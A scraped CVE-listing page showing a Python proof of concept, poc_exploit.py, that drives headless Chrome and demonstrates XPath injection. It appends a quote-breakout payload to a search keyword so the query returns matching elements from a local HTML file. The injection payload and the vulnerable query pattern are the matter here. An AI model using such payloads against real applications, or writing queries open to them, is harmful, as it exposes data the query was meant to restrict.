5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_exploit.py PY
import os
import sys
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from webdriver_manager.chrome import ChromeDriverManager

if len(sys.argv) < 2:
    print("❌ Error: Please provide the path to an HTML file.")
    print("Usage: python poc_exploit.py <filename.html> [target_keyword]")
    sys.exit(1)

html_filename = sys.argv[1]
target_keyword = sys.argv[2] if len(sys.argv) > 2 else "secret"

if not os.path.exists(html_filename):
    print(f"❌ Error: File '{html_filename}' not found.")
    sys.exit(1)

html_path = os.path.abspath(html_filename)

options = webdriver.ChromeOptions()
options.add_argument("--headless") 
driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options)

try:
    driver.get(f"file://{html_path}")
    print(f"\n✓ Target Loaded: {html_filename}")
    print(f"🎯 Injected Search Keyword: '{target_keyword}'")

    # The Vulnerability Payload Breakout
    malicious_payload = f"') or contains(text(), '{target_keyword}"
    elements_injected = driver.find_elements(By.XPATH, f"//*[contains(text(), '{malicious_payload}')]")
    
    print(f"\n[Injected Search] Found {len(elements_injected)} elements.")
    print("=" * 60)
    print(f"{'#':<5} | {'TAG':<10} | {'ID':<15} | {'CONTENT EXTRACTED'}")
    print("=" * 60)
    
    match_count = 0
    # Skip huge containers and metadata shells to avoid terminal flooding
    skip_tags = ['html', 'body', 'head', 'style', 'script', 'tbody', 'table', 'tr']
    
    for el in elements_injected:
        tag = el.tag_name.lower()
        if tag in skip_tags:
            continue
            
        element_id = el.get_attribute('id') or "None"
        text_content = el.get_attribute('textContent').strip()
        
        # Normalize whitespace
        text_content = " ".join(text_content.split())
        
        if text_content:
            match_count += 1
            # Truncate strings longer than 100 characters for scannability
            display_text = text_content if len(text_content) <= 100 else f"{text_content[:97]}..."
            
            # Simple terminal visual indicator for where the keyword was found
            if target_keyword.lower() in display_text.lower():
                display_text = f"🚨 [FOUND MATCH] -> {display_text}"
                
            print(f"{match_count:<5} | {tag:<10} | {element_id:<15} | {display_text}")

finally:
    driver.quit()